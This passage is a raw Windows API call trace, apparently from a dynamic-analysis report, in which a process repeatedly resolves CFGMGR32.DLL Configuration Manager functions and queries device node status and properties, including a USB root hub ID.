GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.682] malloc (_Size=0x18) returned 0x196ef0d1f60 [0196.682] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0196.684] malloc (_Size=0x48) returned 0x196ef0fba40 [0196.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56177b72, dwHighDateTime=0x1d9eb0c)) [0196.685] SetEvent (hEvent=0x248) returned 1 [0196.689] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.689] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.692] malloc (_Size=0x18) returned 0x196ef0d1e20 [0196.692] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x8, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0196.692] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0196.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x56177b72, dwHighDateTime=0x1d9eb0c)) [0196.692] SetEvent (hEvent=0x248) returned 1 [0196.697] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.697] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.700] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0196.700] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x8, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0196.700] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0196.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5619e11b, dwHighDateTime=0x1d9eb0c)) [0196.701] SetEvent (hEvent=0x248) returned 1 [0196.704] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.704] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.707] malloc (_Size=0x18) returned 0x196ef0d1f60 [0196.707] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0196.707] malloc (_Size=0x48) returned 0x196ef0fb270 [0196.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5619e11b, dwHighDateTime=0x1d9eb0c)) [0196.708] SetEvent (hEvent=0x248) returned 1 [0196.974] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.974] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.978] malloc (_Size=0x18) returned 0x196ef0d1d40 [0196.978] CM_Get_Device_IDA (in: dnDevInst=0x2d, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&9C1D5B7&0") returned 0x0 [0196.979] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0196.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5642677e, dwHighDateTime=0x1d9eb0c)) [0196.979] SetEvent (hEvent=0x248) returned 1 [0196.983] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.983] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.986] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0196.986] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0196.986] malloc (_Size=0xac) returned 0x196ef0f8420 [0196.987] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f8420, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f8420, pulLength=0x67117d608) returned 0x0 [0196.988] free (_Block=0x196ef0f8420) [0196.988] malloc (_Size=0x48) returned 0x196ef0fba40 [0196.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5645b271, dwHighDateTime=0x1d9eb0c)) [0196.988] SetEvent (hEvent=0x248) returned 1 [0196.992] malloc (_Size=0x18) returned 0x196ef0d1e60 [0196.992] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0196.992] free (_Block=0x196ef0d1e60) [0196.992] malloc (_Size=0x18) returned 0x196ef0d1a60 [0196.992] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0196.992] free (_Block=0x196ef0d1a60) [0196.992] malloc (_Size=0x18) returned 0x196ef0d1a20 [0196.993] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0196.993] free (_Block=0x196ef0d1a20) [0196.993] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0196.993] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0196.993] SafeArrayGetLBound (in: psa=0x196ee7bf6a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0196.993] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0196.993] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0196.993] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0196.993] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0196.993] SafeArrayGetElemsize (psa=0x196ee7bf6a0) returned 0x8 [0196.993] SafeArrayGetElement (in: psa=0x196ee7bf6a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0196.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0196.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0196.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e720, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0196.995] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0196.996] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0196.996] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.996] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.999] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0196.999] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0197.000] malloc (_Size=0x48) returned 0x196ef0fbf90 [0197.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x56472ea0, dwHighDateTime=0x1d9eb0c)) [0197.000] SetEvent (hEvent=0x248) returned 1 [0197.004] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.004] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.007] GetProcAddress (hModule=0x7ffa786c0000, 